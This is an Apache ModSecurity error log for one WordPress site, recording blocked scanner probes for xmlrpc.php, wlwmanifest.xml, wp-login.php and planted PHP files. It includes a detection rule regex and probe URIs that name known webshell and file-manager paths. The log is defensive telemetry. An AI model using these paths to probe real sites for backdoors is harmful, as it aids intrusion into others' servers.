[Sat Jan 10 09:00:02.084179 2026] [:error] [pid 20646:tid 20668] [client 182.44.2.148:47660] [client 182.44.2.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWGkkiKwdq_UhOM64b7KowAAAA0"]
[Sat Jan 10 12:39:38.207474 2026] [:error] [pid 20647:tid 20692] [client 43.166.136.153:38132] [client 43.166.136.153] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aWHYCqvb0x69MarUHzDh8QAAAEo"]
[Sat Jan 10 12:57:09.358164 2026] [:error] [pid 1249:tid 1274] [client 159.223.72.96:57000] [client 159.223.72.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.72.96, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aWHcJUtd4KGpcdnrDZVrsAAAANY"]
[Sat Jan 10 12:57:10.494711 2026] [:error] [pid 1249:tid 1259] [client 159.223.72.96:57000] [client 159.223.72.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "aWHcJktd4KGpcdnrDZVrtwAAAMc"]
[Sat Jan 10 12:57:11.192732 2026] [:error] [pid 64621:tid 64632] [client 159.223.72.96:57074] [client 159.223.72.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "aWHcJ4a9na_3sfYAP9qAHgAAAwk"]
[Sat Jan 10 12:57:11.889706 2026] [:error] [pid 1188:tid 1203] [client 159.223.72.96:57093] [client 159.223.72.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aWHcJ0IMgh0zEyVof4_AGgAAAIw"]
[Sat Jan 10 12:57:12.584949 2026] [:error] [pid 64708:tid 64734] [client 159.223.72.96:57119] [client 159.223.72.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aWHcKNRO36izwpUe5nD70wAAA1g"]
[Sat Jan 10 12:57:13.266509 2026] [:error] [pid 1125:tid 1146] [client 159.223.72.96:57134] [client 159.223.72.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aWHcKXqAWYc4UwRgeOc4swAAAFM"]
[Sat Jan 10 12:57:13.949458 2026] [:error] [pid 57088:tid 57106] [client 159.223.72.96:57152] [client 159.223.72.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aWHcKUGS_UStbgMYQWjlDwAAAhA"]
[Sat Jan 10 12:57:14.644618 2026] [:error] [pid 64708:tid 64732] [client 159.223.72.96:57170] [client 159.223.72.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aWHcKtRO36izwpUe5nD71QAAA1Y"]
[Sat Jan 10 12:57:15.341614 2026] [:error] [pid 20646:tid 20670] [client 159.223.72.96:57185] [client 159.223.72.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aWHcKyKwdq_UhOM64b7ncAAAAA8"]
[Sat Jan 10 14:14:20.178419 2026] [:error] [pid 57088:tid 57090] [client 43.130.67.33:36886] [client 43.130.67.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWHuPEGS_UStbgMYQWjsLgAAAgA"]
[Sat Jan 10 15:13:42.143254 2026] [:error] [pid 57649:tid 57664] [client 101.42.46.71:50636] [client 101.42.46.71] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aWH8JlcvIwrych3kBnoWagAAAo0"]
[Sat Jan 10 19:11:04.195674 2026] [:error] [pid 1383:tid 1402] [client 143.244.141.160:59346] [client 143.244.141.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/"] [unique_id "aWIzyCSbzyQbm27sbcJfdgAAA80"], referer: binance.com
[Sat Jan 10 21:47:04.465771 2026] [autoindex:error] [pid 1296:tid 1310] [client 143.244.141.160:62255] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Jan 10 23:59:03.458843 2026] [:error] [pid 20646:tid 20671] [client 110.235.219.130:62307] [client 110.235.219.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 110.235.219.130, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aWJ3RyKwdq_UhOM64b44FAAAABA"]
[Sun Jan 11 02:01:55.828518 2026] [:error] [pid 1125:tid 1134] [client 49.51.47.100:37232] [client 49.51.47.100] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aWKUE3qAWYc4UwRgeOeLYgAAAEc"]
[Sun Jan 11 02:06:33.856958 2026] [:error] [pid 1383:tid 1388] [client 138.197.13.155:53024] [client 138.197.13.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/css/"] [unique_id "aWKVKSSbzyQbm27sbcKblAAAA8M"], referer: binance.com
[Sun Jan 11 04:00:03.349353 2026] [:error] [pid 39807:tid 39847] [client 111.172.249.49:53013] [client 111.172.249.49] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aWKvw81bpSfPUUs1_gLFYgAAAEg"]
[Sun Jan 11 12:03:40.055443 2026] [:error] [pid 5152:tid 5186] [client 43.135.145.77:58814] [client 43.135.145.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWMhHBm0axGMFrpuXHBgMwAAABg"]
[Sun Jan 11 16:07:24.623640 2026] [:error] [pid 5152:tid 5171] [client 175.6.217.4:45804] [client 175.6.217.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aWNaPBm0axGMFrpuXHB1dgAAAAk"]
[Sun Jan 11 18:44:16.872901 2026] [:error] [pid 35977:tid 36004] [client 43.173.1.69:45116] [client 43.173.1.69] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWN_ALDST5RMqStLeP1iNgAAAhg"]
[Sun Jan 11 18:56:45.028455 2026] [:error] [pid 5155:tid 5232] [client 68.218.117.11:65344] [client 68.218.117.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/themes7.php"] [unique_id "aWOB7VgEKFpNs0_zLGkK_wAAAJA"], referer: https://www.google.com/
[Sun Jan 11 18:56:45.220346 2026] [:error] [pid 35730:tid 35742] [client 68.218.117.11:64222] [client 68.218.117.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.218.117.11, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aWOB7Ti7U_mfHtESQHk9HwAAAco"], referer: https://www.google.de/
[Sun Jan 11 18:56:45.240622 2026] [:error] [pid 5152:tid 5163] [client 68.218.117.11:65386] [client 68.218.117.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.218.117.11, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-login.php"] [unique_id "aWOB7Rm0axGMFrpuXHCH3QAAAAE"], referer: https://www.google.de/
[Sun Jan 11 18:56:46.917738 2026] [:error] [pid 35730:tid 35752] [client 68.218.117.11:64222] [client 68.218.117.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/about.php"] [unique_id "aWOB7ji7U_mfHtESQHk9JwAAAdQ"], referer: https://www.yahoo.com/
[Sun Jan 11 18:56:47.414677 2026] [:error] [pid 5272:tid 5298] [client 68.218.117.11:9995] [client 68.218.117.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aWOB71p55bCsukUvYGZeAwAAANg"], referer: https://www.yahoo.com/
[Sun Jan 11 18:56:47.753933 2026] [:error] [pid 5155:tid 5237] [client 68.218.117.11:65341] [client 68.218.117.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aWOB71gEKFpNs0_zLGkLBgAAAJU"], referer: https://www.google.co.uk/
[Sun Jan 11 18:56:49.794283 2026] [:error] [pid 5155:tid 5228] [client 68.218.117.11:64828] [client 68.218.117.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aWOB8VgEKFpNs0_zLGkLFgAAAIw"], referer: https://www.google.de/
[Sun Jan 11 18:56:49.982877 2026] [:error] [pid 5272:tid 5277] [client 68.218.117.11:65384] [client 68.218.117.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/ty.php"] [unique_id "aWOB8Vp55bCsukUvYGZeCQAAAMM"], referer: https://duckduckgo.com/
[Sun Jan 11 18:56:50.147343 2026] [:error] [pid 35730:tid 35734] [client 68.218.117.11:64811] [client 68.218.117.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aWOB8ji7U_mfHtESQHk9MAAAAcI"], referer: https://www.google.fr/
[Mon Jan 12 00:49:18.458688 2026] [:error] [pid 35977:tid 35998] [client 43.130.67.33:60302] [client 43.130.67.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWPUjrDST5RMqStLeP2dXQAAAhI"]
[Mon Jan 12 01:51:28.473646 2026] [:error] [pid 60999:tid 61003] [client 34.132.119.42:64367] [client 34.132.119.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.132.119.42, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aWPjIFqLNvGnTVjR-ZVwMgAAAoI"]
[Mon Jan 12 01:51:29.911396 2026] [:error] [pid 60999:tid 61021] [client 34.132.119.42:64367] [client 34.132.119.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "aWPjIVqLNvGnTVjR-ZVwNQAAApQ"]
[Mon Jan 12 01:51:30.702402 2026] [:error] [pid 5153:tid 5192] [client 34.132.119.42:63230] [client 34.132.119.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "aWPjIs1QbNSPD9bRi771DQAAAEM"]
[Mon Jan 12 01:51:31.725401 2026] [:error] [pid 35977:tid 35989] [client 34.132.119.42:59353] [client 34.132.119.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "aWPjI7DST5RMqStLeP2jDwAAAgk"]
[Mon Jan 12 01:51:32.515741 2026] [:error] [pid 40191:tid 40203] [client 34.132.119.42:56466] [client 34.132.119.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "aWPjJEm2BH1CV1p0EUH5CQAAAso"]
[Mon Jan 12 01:51:33.412457 2026] [:error] [pid 35977:tid 35988] [client 34.132.119.42:63567] [client 34.132.119.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "aWPjJbDST5RMqStLeP2jEQAAAgg"]
[Mon Jan 12 01:51:34.298258 2026] [:error] [pid 60999:tid 61004] [client 34.132.119.42:63572] [client 34.132.119.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "aWPjJlqLNvGnTVjR-ZVwQAAAAoM"]
[Mon Jan 12 01:51:35.316414 2026] [:error] [pid 35730:tid 35741] [client 34.132.119.42:60226] [client 34.132.119.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "aWPjJzi7U_mfHtESQHmNZQAAAck"]
[Mon Jan 12 01:51:36.135704 2026] [:error] [pid 5272:tid 5285] [client 34.132.119.42:50358] [client 34.132.119.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "aWPjKFp55bCsukUvYGamHwAAAMs"]
[Mon Jan 12 01:51:37.024826 2026] [:error] [pid 60999:tid 61003] [client 34.132.119.42:60453] [client 34.132.119.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "aWPjKVqLNvGnTVjR-ZVwSQAAAoI"]
[Mon Jan 12 01:51:37.892747 2026] [:error] [pid 5152:tid 5169] [client 34.132.119.42:50941] [client 34.132.119.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aWPjKRm0axGMFrpuXHDFmAAAAAc"]
[Mon Jan 12 01:51:38.821933 2026] [:error] [pid 36611:tid 36613] [client 34.132.119.42:64862] [client 34.132.119.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aWPjKj8oZoZHsoTdjhiNXgAAAkA"]
[Mon Jan 12 01:51:39.670236 2026] [:error] [pid 5153:tid 5210] [client 34.132.119.42:49965] [client 34.132.119.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aWPjK81QbNSPD9bRi771GgAAAFU"]
[Mon Jan 12 01:51:40.524611 2026] [:error] [pid 40191:tid 40213] [client 34.132.119.42:57725] [client 34.132.119.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aWPjLEm2BH1CV1p0EUH5DQAAAtQ"]
[Mon Jan 12 01:51:41.393849 2026] [:error] [pid 5152:tid 5163] [client 34.132.119.42:57373] [client 34.132.119.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aWPjLRm0axGMFrpuXHDFnQAAAAE"]
[Mon Jan 12 01:51:42.254701 2026] [:error] [pid 5272:tid 5275] [client 34.132.119.42:63939] [client 34.132.119.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aWPjLlp55bCsukUvYGamJwAAAME"]
[Mon Jan 12 01:51:43.145981 2026] [:error] [pid 5272:tid 5276] [client 34.132.119.42:52495] [client 34.132.119.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aWPjL1p55bCsukUvYGamKAAAAMI"]
